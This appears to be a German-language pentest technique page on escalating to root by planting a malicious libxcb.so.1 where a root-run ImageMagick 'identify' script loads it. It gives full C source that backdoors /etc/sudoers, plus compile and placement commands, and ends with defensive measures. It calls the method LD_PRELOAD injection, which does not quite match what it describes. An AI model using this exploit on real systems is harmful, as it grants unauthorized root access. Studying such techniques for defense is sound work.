Third-Party Binary Abuse

Diese Technik nutzt eine Kombination aus einem unsicher konfigurierten Skript, ImageMagick und der LD_PRELOAD-Umgebungsvariable zur lokalen Privilege Escalation.


Voraussetzungen

  • Schreibrechte auf ein vom System regelmässig ausgeführtes Skriptverzeichnis oder einen referenzierten Pfad

  • Verwundbare Version von ImageMagick (z. B. anfällig für ImageTragick oder unsichere Nutzung von identify)

  • Ausführung von ImageMagick-Binaries auf benutzerkontrollierten Dateien

  • Schreibrechte auf ein Verzeichnis, das durch das Skript referenziert wird


Beispiel: Verwundbares Skript

Pfad: /opt/scripts/identify_images.sh

cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

Erklärung:

  • Das Skript durchläuft rekursiv alle .jpg-Dateien im Verzeichnis und übergibt sie an ImageMagick's identify.

  • identify ist ein Befehl von ImageMagick zur Analyse von Bilddateien.

  • Wird durch einen Cronjob oder manuellen Aufruf mit erweiterten Rechten ausgeführt, kann dies missbraucht werden.


Ausnutzung über LD_PRELOAD (Shared Object Injection)

  1. Schadcode schreiben:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers");
}

Erklärung:

  • Die Funktion _init() wird automatisch bei Laden der Shared Library ausgeführt.

  • LD_PRELOAD wird entfernt, um Rekursion zu vermeiden.

  • UID und GID werden auf 0 gesetzt (Root).

  • sudoers-Datei wird manipuliert, um Passwortfreiheit für developer zu gewährleisten.

  1. Kompilierung der Shared Library:

gcc -fPIC -shared -o ./libxcb.so.1 a.c -nostartfiles

Hinweis: libxcb.so.1 ist eine Library, die von ImageMagick geladen wird. Der Name muss einem von ImageMagick verwendeten Modul entsprechen.

  1. Platzierung im richtigen Verzeichnis:

mv libxcb.so.1 /opt/app/static/assets/images/
  1. Auslösung des Exploits:

  • Sobald das Skript identify_images.sh ausgeführt wird, wird ImageMagick auf .jpg-Dateien im Verzeichnis angewendet.

  • ImageMagick lädt beim Start dynamisch bestimmte Libraries.

  • Falls es eine manipulierte Version der libxcb.so.1 im aktuellen Arbeitsverzeichnis findet, wird diese geladen.


Ergebnis:

  • Die manipulierte Shared Library wird durch ImageMagick geladen.

  • _init() wird mit Root-Rechten ausgeführt und modifiziert /etc/sudoers.

  • Der Benutzer developer kann nun ohne Passwort sudo verwenden.

Beispiel:

sudo su -
# Zugriff als root möglich

Verteidigungsstrategien

  • Vermeidung von LD_PRELOAD: Setze LD_PRELOAD beim Aufruf von Binaries wie identify zurück oder deaktiviere es im Skript.

  • Pfadkontrolle: Nutze absolute Pfade und sichere Umgebungen (z. B. mit env -i).

  • Library Loading Restriction: Nutze Mechanismen wie LD_LIBRARY_PATH-Kontrolle oder noexec Mount-Option.

  • Rechtehygiene: Beschränke Schreibrechte für Verzeichnisse, die durch systemkritische Skripte genutzt werden.

  • Audit & Monitoring: Setze Audit-Mechanismen ein, um das Laden unerwarteter Libraries zu erkennen.

Last updated